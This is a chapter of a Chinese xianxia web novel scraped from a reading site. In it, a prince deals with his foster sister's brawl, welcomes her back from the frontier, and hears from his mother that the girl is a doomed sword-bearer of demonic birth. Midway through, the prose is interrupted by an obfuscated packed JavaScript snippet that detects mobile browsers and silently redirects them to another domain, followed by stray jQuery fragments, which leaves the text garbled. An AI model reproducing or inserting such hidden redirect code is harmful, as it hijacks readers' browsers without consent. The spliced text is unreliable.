默认冷灰
24号文字
方正启体

64. 道

作者:没气的雪碧本书字数:K更新时间:
    “殿下,大事不好了!”白一冲进门,气喘吁吁道,“咱欢姑娘被书院的人欺负了!”


    白闲正欲歇晌,闻言惊坐起身,迅速整理衣衫,赶往书院。


    看热闹的人围了里三层,外三层,密不透风,中心传来阵阵鞭笞声,破开空气,抽得皮开肉绽,哀嚎连连。


    见状,白一放声道:“世子殿下到!”这一句掷地有声,人群立刻让出路来,白闲快步迈入其中。


    一路花折树断,八九个少年东倒西歪,身上挂了彩,嘴里一个劲儿喊痛,但见到白闲后,立刻缩起脖子,不再吭声。


    不算致命伤。白闲松了口气,待看清中心地带,下意识屏住呼吸。


    少女一脚踩在少年颈间,重重碾过,靴底的泥污了他领口的金丝剑纹,而她目光灼灼,像是喷吐火光,叫那些同辈不敢与之对视。


    眼看长鞭要再次落下,白闲飞身上前,抓住鞭尾,喝道:“住手!”


    见鞭尾颤动,试图挣脱,白闲加重力气,直到见到少女眼下的赤纹若隐若现,方动了真怒,“罚你禁足一月!”


    赤纹迅速消散,仿佛从梦中醒来,少女眼中闪过一丝茫然,随后丢下长鞭,转身跑了出去,留下白闲收拾烂摊子。


    好不容易安抚完伤者,达成交涉,偏偏兰氏临时变卦,派人来施压,直言要联名上禀仙君,讨回一个公道,眼看局面僵持不下——


    “我倒是不知,这仙族,如今轮到兰氏掌管了?”仙主大步迈入殿门,气势迫人。


    赶上了。白闲与她身后白一对视一眼,放下心来,幸亏这救兵请的及时。


    “白凛,别太过分了。”耗尽耐心的兰氏使者拍案而起,“别以为你梅氏就了不起,风水轮流转!”


    白凛毫不客气,“你这一氏就剩白墨一个独苗,以多欺少,还被欢儿打成那样,怎好意思说风水轮流转?”


    “你……你们迟早要毁在这孽障手里!”兰氏使者拂袖而去。尽管对外宣称是仙君骨肉,但对内知根知底的兰竹松三氏而言,其身世早已在暗地里流传。


    白凛瞥一眼白闲,“你在同欢儿置气?”


    “没有。”白闲面色平淡,袖中的五指却悄然握紧,倘若当时她眼下魔纹被其他人瞧见……后果不堪设想!


    “殿下消消气。”白一接到白凛眼色,犹豫一会儿,掐准时机道,“听说……是兰氏子不敬您在先,欢姑娘这才出手教训他的。”


    片刻的沉默后,白凛适时道,“再不寻欢儿回来,她该饿着了。”


    分明没有半点饿的迹象。白闲想。


    不远处,锦鸡扑腾个不停,叫声刺耳。少女喊道:“过来搭把手。”


    白闲淡淡道,“君子远庖厨。”


    “啧。”一脚踩住尾羽,一手拎起鸡头,少女利落地开刀放血,拔毛去皮,再刮去内脏,清洗干净后剁成数节,丢入冰锅沸水之中,再添上一把柴。


    “咕噜咕噜——”


    水汤翻滚,颜色逐渐奶白,鲜香味勾得白闲胃里泛起酸意。他着急赶了半天的路,一餐未食,然而罪魁祸首就在自己身边逍遥自在。


    白闲忍下怒气,翻出玉简,默读起来。奈何腹中空空,凭生焦躁,他瞥一眼少女,后者正蹲在地上,拨弄纠成团的乱草,衣摆沾了泥。


    白闲忍不住道:“你做什么?”


    “找吃的。”少女言简意赅,起身时攥了两把野菜,圆叶饱满,长茎细嫩,跑在溪边择到一半,又开始打水漂,石片在水面弹跳,一连十七八下。


    端正的六艺不学,对这些倒是上心。白闲叹了口气,“你不必同白墨计较。”


    “咚”的一声,石片悠悠沉入水底。


    “他本为兰氏遗腹子,自小受宠惯了,因此歪了德行,不辨是非,我已下令罚他禁足三月,誊抄经书十二卷。”


    少女自顾自地脱下鞋袜,卷起衣摆,涉入溪中,在底下摸索起来。水翻起泥沙,洗过她的脚踝,莹白纤细,因抽条太快而不堪一握。


    白闲移开视线,接着道:“若你愿同我回去,便作监察之人,大可罚他重抄,以消心头愤懑……”


    “贝螺吃不吃?”


    白闲一噎,话堵在喉头,不上不下。


    “带籽的要不要?”


    “……不要。”


    “做汤还是干烧?”


    “做汤。”


    赤足踩上沙砾,少女放下一兜白螺,挑挑拣拣,扔回带籽的,再连野菜一同洗净了,丢进冰锅中。待乳汤浮起青绿,她随手捏出冰碗,盛得满满当当,端到他面前,努了努嘴。


    清香扑鼻,白闲忍住口腹之欲,继续道:“是我不察之过,你大可罚我……”


    “饿了吧。”少女懒洋洋道,“那罚你吃完再回去。”


    就这样,二人坐在溪边,就着满天繁星,将一锅吃得干干净净,风吹散了积攒的躁郁,只剩鸡汤缠绵的香气。


    她根本不会饿着自己。白闲心道,却不曾想过她是何时学会了这些,直至在十四岁的生辰礼上,见她接过父亲赐予的长生剑,听她铿锵有力的声音,“我要去边陲历练。”


    于是顿悟,原来不是一时兴起,而是蓄意已久。


    后来,白闲时常忍不住想,她是何时做下的打算,是在离开宫门赏灯会的那天,抑或更早——在拿起那本女侠的话本之前?


    日子一天天过去,再没有任何消息,活生生的一个人,进了边陲,仿佛泥牛入海,杳无踪迹,若不是命牌尚在,差点以为世上查无此人。


    “殿下,欢姑娘回来了!”许久未见,连白一的声音也带上欢欣。


    “我这就去。”白闲丢下笔,匆匆跑出门去。


    急步穿过长廊,待见到那扇门,不知怎么又慢下脚步,走了足有一炷香时间,他轻轻叩门:“是我。”


    “请进。”


    声音沉稳了些。白闲推开门,定在原地。


    风吹开绸巾一角,露出湿淋淋的发,垂至腰际,凌乱地贴在背脊,仿佛古艳的刺青。仅腰间和胸口围了一圈薄甲,除此之外,不着寸缕。


    “公子?”那人侧身,露出眼下一道狰狞的伤疤。


    “咚!”门轰然关闭。


    隔着门,白闲的声音响起,少见的慌乱,“你,你先穿戴整齐。”


    少顷,门缓缓打开。她披着素白长袍,衣襟微敞,犹带水汽。


    心跳声咚咚作响,沉重地敲击耳膜,白闲低头不敢看,“不是让你穿戴整齐……”


    “这里没有我能穿的衣物。”那人解释道。


    白闲抬起头,这才发现她长高许多,个子几乎与他齐平,只是更为消瘦,好似风雨中坚韧不拔的细竹。


    “我那儿……”白闲本想说他那还有些新衣,话一出口,又觉不妥,遂抿唇不语。


    “白一给我送了一些。”少女紧了紧腰带,“不过只有这件里衣勉强能穿,他已差人去买别的了。”


    白一送的?白闲看清她领口的金丝剑纹,强忍臊意,“将就些。”


    “将就?”那人不解,“这件穿着还挺舒服的。”


    “……不必多言。”白闲抚额,随她走进房中,注意到披散的湿发,“湿发伤身,怎不擦干?”


    “麻烦。”那人随口道。


    还是这个性子。白闲无奈地摇头,略微勾指,水汽凝结,乌发生霜,哗啦落了一地晶莹。


    “好手段!”那人眼睛一亮。


    “日后教你。”白闲含笑道,见到一地脏乱的衣物,又嗅到淡淡的血汗气,“这是……”


    “我刚回来,还没来得及清理。”


    难怪要沐浴,但她这么着急赶回来……白闲轻咳一声,“如此着急做甚?”


    那人奇怪道:“试炼不是要开始了么?”


    “……是。”


    “听人说欢儿回来了?”


    “申时方到。”白敬瞧她一眼,“你若想她,我差人宣她明日进殿。”


    “不必了,她旅途劳累,是该多休息几日。”白凛嘴上说着,沏了茶又坐不住,抿唇一笑,“罢了,几年未见,还是念着,我去见她便是。”


    但进了殿门,空荡荡的,无人伺候。白凛望一眼天色,正是华灯初上,不算晚,便召来白一,问:“欢儿歇下了?”


    “尚未。欢姑娘正与殿下叙旧。”


    白凛放下心来,“带路。”


    “方……才小半时辰前,二人正叙旧,不知现在欢姑娘可否歇下了。”白一低下头,掩住神色。


    敏锐察觉到异样,白凛淡淡道:“如此,那便去看一眼吧。”


    白一暗叹,不敢在白凛面前动手脚,只得放慢脚步,但一刻钟后,还是走到中庭,听到人声。


    “殿下……”白一试图扬声,被白凛抬手制止。


    “你且退下,别坏了兴致。”白凛摆摆手,跨过木槛,穿过回廊,拐过弯,顿在原地。


    月华昭昭,凉亭之内,两人对坐。准确地说,是白闲端坐桌旁,举棋与自己对弈,而少女半卧长凳,枕手望天,腿翘得老高。


    “眼下怎得落了疤?”白闲捏住黑子,抬眼看她,语带怜惜,“受欺负了?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384952|166238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “谁敢欺负我?打得他们找不到北。”少女哼笑道,“一招失手,被妖兽抓了一道而已。”


    “原来如此。”安稳落下黑子,白闲温声道,“明日差人去寻些祛疤的药,再一并尝尝桂心坊近年新出的花样。”


    “我要全吃一遍!”少女嚷嚷道。


    虽说个子长了许多,但性子却没变多少。白闲笑道,“自是随你。说起来,再过半月,又是元宵灯节,随我去逛一逛如何?”


    “过两日是试炼,打个七八天的,然后再休息几天……”少女掐指算了算,“来得及。”


    “如今你倒是大忙人了。”白闲打趣道,“急着去做何事?”


    少女来了兴致,“再过二十日,就是年初新月,邑兵最为虚弱之时,我和人打赌,看谁先拿到它的内丹。”


    白子停在半空。指腹摩挲螺钿棋,白闲似是思考下一步的路数,微微一笑,“边疆倒有这等妙人,敢和你打赌。”


    “一个毛头小子罢了。”少女老气横秋地摆了摆手,“剑练得乱七八糟,人吵得不行。”


    “哦?如何吵法?”白闲落下白子,棋差一招。


    “打又打不过我,还死乞白赖地缠着我,要分个高下。”少女打了个哈欠,见白闲从棋盘上拾回黑白二子,一一收入棋奁。


    她诧异道:“下完了?”


    “困了便回去睡吧。”白闲温声道,“赶路辛劳,是我思量不周,拘着你了。”


    少女点点头,转身离去。


    拾子的手一顿,白闲看着乱糟糟的棋局,不由苦笑,收好棋奁,起身往回走,却在拐角处碰上意想不到的人,“……娘?”


    “叙旧叙完了?”白凛面色平静。


    抓紧怀中棋奁,白闲低头,盯着自己发白的指节,“是儿臣过失,未曾亲自迎接母亲。”


    “你的过失之处不在这。”


    “是……是儿臣许久未见,一时叙旧忘了时辰,耽误欢姑娘歇息了。”


    “装糊涂?”白凛深深看了一眼白闲,挥袖离去,“明日来殿中见我。”


    这一天,终究还是来了。白闲心想,进了殿门,颔首行礼,“娘。”


    禀退四下仆役,白凛端起茶盏,吹散热气,“最近你与欢儿走的很近?”


    白闲维持笑容,“不过讨教些剑招罢了。”


    “是么?”白凛面色淡淡,指腹却不住地摩挲盏身的冰裂梅纹。


    白闲看出她在犹豫,“母亲有话,但讲无妨。”


    “孩子。”白凛放下茶盏,叹了口气,“欢儿是命定的剑使。”


    白闲低声道,“儿臣知晓。”


    “不,你不知晓。”白凛平静道,“剑使是仙剑的剑鞘,注定会早夭。”


    白闲攥紧五指,“但上一任剑使……”


    “上一任剑使,本该是我。”白凛垂下眼。


    她声音幽幽,如钟声从远方传来,叩开通向过去的大门。往事如风,拂过面颊,白闲嗅到尘封的血气。


    “当年阳山叛乱,桃林尽毁。魔女殷婳背弃妖族婚约,与我兄长白钰私奔,怀胎三年,临盆时天生异象,雷降四族,追杀令出。”


    “我先一步找到兄长,却不敌赶来的魔尊,而后达成交易,对外宣称此子胎死腹中。”


    白凛回想那一日。暴雨如注,她舍命从殷珅手里夺回襁褓,睡梦中的婴儿惊醒,不仅没哭,反而朝自己咯咯笑了起来,眼尾的魔纹弯弯,犹如新月。


    “由此,魔女被擒,关入禁地自省百年,以平妖族之怒,妖族太子因此记恨我族,常派凶兽扰乱边陲。为此,兄长自请仙剑,甘愿流放边疆,以换此女健康成长。”


    “此后,我以仙君之名收养此女,保她一生平安顺遂。”白凛一顿,“然匹夫无罪,怀璧其罪。”


    “欢儿实在太过出色,连你……也望尘莫及。”白凛道,“你已属百年难遇的阴阳命格,而她更在你之上,是超脱五行的混沌命格。”


    混沌……白闲不动声色地攥紧五指。


    “我曾抗争过,但……”白凛叹息,“倘若她不修此道,不成剑使,仙君便要出手,以绝仙族后患。”


    “这是仙君赐予我的疗伤圣药。”


    她的话忽然在耳边响起,白闲死死握住宫椅扶手,难怪她年纪虽小,实力却超出身为世子的自己一大截。


    白闲艰难出声,“什么……道?”


    “不要引诱她。”白凛注视着眼前自己怀胎十月生下的骨肉,神情悲悯,仿佛早已看破他的伪装。


    “她不懂,你也不懂吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)